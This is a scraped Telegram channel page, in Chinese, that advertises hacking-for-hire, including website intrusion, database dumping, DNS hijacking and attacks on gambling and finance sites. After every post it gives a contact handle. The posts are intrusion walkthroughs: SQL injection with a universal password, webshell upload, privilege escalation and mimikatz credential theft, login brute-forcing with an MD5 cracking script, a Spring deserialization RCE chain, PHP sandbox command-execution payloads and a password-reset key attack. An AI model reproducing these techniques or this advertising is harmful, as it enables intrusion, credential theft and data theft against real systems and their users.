黑客渗透 金融劫持 BC域名跳转
17.6K subscribers
1.8K photos
19 videos
2 files
162 links
金融股民渗透国内app,海外网站app,入侵后台,脱裤数据库, dns劫持 服务器进入等等
破解网站app软件技术等等 黑客技术咨询
@hacker_HouZiM
Download Telegram
通过服务器资产探测,可收集服务器开放web端口,内网系统中,大部分web系统访问的界面都是登录界面,需要用户名密码进行认证。以某内网系统为例,进行实际渗透测试。
(1)在登录界面,用户名处输入加一个单引号 admin’,尝试登录,应用程序报错
(2)构造万能密码admin' or '1'='1尝试登录,成功登录后台
PS:登录处SQL注入,用户角色为sa,也可直接用sqlmap --os-shell获取权限。
(3)首先大致浏览了下后台功能,为了得到权限,我们可以通过常规的手段,后台的上传,命令执行,文件包含等手段,最简单有效直接的就是文件上传。在后台中发现上传点,尝试上传正常图片,进行抓包。
(4)通过抓包修改文件后缀,成功上传aspx木马,刷新页面获取图片链接
(5)访问aspx木马地址,查看当前权限,需进一步提权
(6)上传exp到可读可写目录,尝试执行
(7)新建管理员账号,登录服务器,上传mimikatz(wce有遇到蓝屏和重启的情况,慎用),读取系统缓存密码。
(8)使用administrator账号密码成功登录域服务器

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
👍1
网站首页包含一个登陆模块,包含用户名、密码、验证码,输入正常数据测试,发现密码采用js加密传输,验证码无法自动刷新,可重复使用。
1、扫描网站敏感文件,发现系统存在未授权访问, 通过url可直接访问系统后台日志管理模块,获取用户登录用户名等。
2、通过未授权获取到的用户名,加载密码字典,并对字典密码进行编码,暴力破解,成功爆破出用户tb的密码所对应的md5值为: 6846860684f05029abccc09a53cd66f1
3、md5破解,获得md5所对应的值为:a111111
TIPS:有时候遇到md5值解密不出来的时候,怎么办?我们知道,这个md5值所对应的的是我们密码字典里的某一个,可以编写Python脚本进行md5值的比对。
Python脚本:
!/usr/bin/env python
-- coding: utf-8 --
import hashlib  
src='6846860684f05029abccc09a53cd66f1'
def get_line():
   f = open('1.txt') #默认mode=‘r’
   print 'start:'
   while True:
       line = f.readline().strip()
       if len(line)==0:
           print 'line 0'
           break
       m1 = hashlib.md5()
       m1.update(line)
       tmp =m1.hexdigest()
       print line+"  :"+tmp
       if tmp==src:
           print src+u': md5对应的值为:'+line
           break

测试截图:
5、通过获取到的用户及破解出来的用户,成功登陆系统。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
1
Spring-tx是一个用于处理事务管理相关的包,根据漏洞描述,可以找到是org.springframework.transaction.jta.JtaTransactionManager这个类出现了问题。我们先看一下这个类的readObject方法。
可以看到,除了调用默认的readObject之外,还进行了一些额外的操作,那么漏洞就出现在这些额外的操作中。继续跟进initUserTransactionAndTransactionManager这个初始化的方法,可以找到调用了this.lookupUserTransaction(this.userTransactionName)
再继续向下跟进,会发现调用了this.getJndiTemplate().lookup()方法,这个就是前文说到的lookup方法,可以通过这个方法来传入rmi://协议的参数来执行命令。
漏洞非常简单,我们来梳理一下调用流程:
readObject ->
initUserTransactionAndTransactionManager ->
lookupUserTransaction ->
lookup

最终lookup的参数userTransactionName是通过this.userTransactionName传入的,这个值我们可以在构建JtaTransactionManager类的时候来设置为任意值。
调用链有了,再来梳理一下利用流程:
发送恶意payload ->
Server端接到payload,访问恶意的RMI服务 ->
RMI访问HTTP服务获取poc类,返回给Server端 ->
Server端反序列化拿到的poc类,并且执行构造函数

接下来的事情就是编写PoC了,首先是服务端,开个socket接收数据并且反序列化即可。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
👍1
PatchOperation.java:evaluateValueFromTarget()中增减了对路径的验证方法verifyPath(),其中的关键代码是:
String pathSource = Arrays.stream(path.split("/"))//
.filter(it -> !it.matches("\\d")) // no digits
.filter(it -> !it.equals("-")) // no "last element"s
.filter(it -> !it.isEmpty()) //
.collect(Collectors.joining("."));

为什么实现了evaluateValueFromTarget()这个方法就能够阻止RCE的攻击呢?之前在漏洞分析中已经说明了,最终执行的是ReplaceOperation:perform(),
<T> void perform(Object target, Class<T> type) {
setValueOnTarget(target, evaluateValueFromTarget(target, type));
}

在执行setValueOnTarget()之前先会调用evaluateValueFromTarget(),而这个函数就是父类的函数即PatchOperationevaluateValueFromTarget(),所以通过更改PatchOperation:evaluateValueFromTarget()方法,对PATH路径进行验证,确保PATH的安全性,就能够防止通过SPEL表示执行RCE。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
1
访问后在../sandbox/生成一个sha1文件夹,然后复制模板进去,提供了重定向到该文件夹和重置文件夹的功能
重定向后是个php沙箱,只能执行格式为`xxxx();`的函数
可以递归执行函数,不允许带参数
?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www
找到`getallheaders()`函数,会返回所有的http请求头,因为header可控,所以可执行任意命令了

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
👍1
生成重置密码链接中的key参数加密过程:
/upload/Application/Home/Controller/MembersController.class.php
$str 字符串:‘e=$email&k=$key&t=$time’
这里的 $time 是第一个不可控点,但是通过在发送请求前和成功收到响应后记录记录时间可以将 $time 控制在一个很小的范围,即使考虑本地和服务器获取的时间区别前后各加上5秒的延迟补偿,时间范围最差也在20秒以内。
C(‘PWDHASH’) 是网站程序加密过程的私钥,
在安装时随机生成 /upload/Application/Common/Common/function.php
$encrypt_key 是加密过程中的第2个不可控点,简记为en,共32000种可能。for循环加密过程很简单,将txt字符串和en字符串逐位异或的结果与en字符串逐位拼接,当下标走到32时,en的指针归0(因为en字符串只有32位,而通过简单判断txt字符串长度肯定超过32位),最后生成的tmp,记作tmp1字符串如下:
/upload/Application/Common/Common/function.php

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM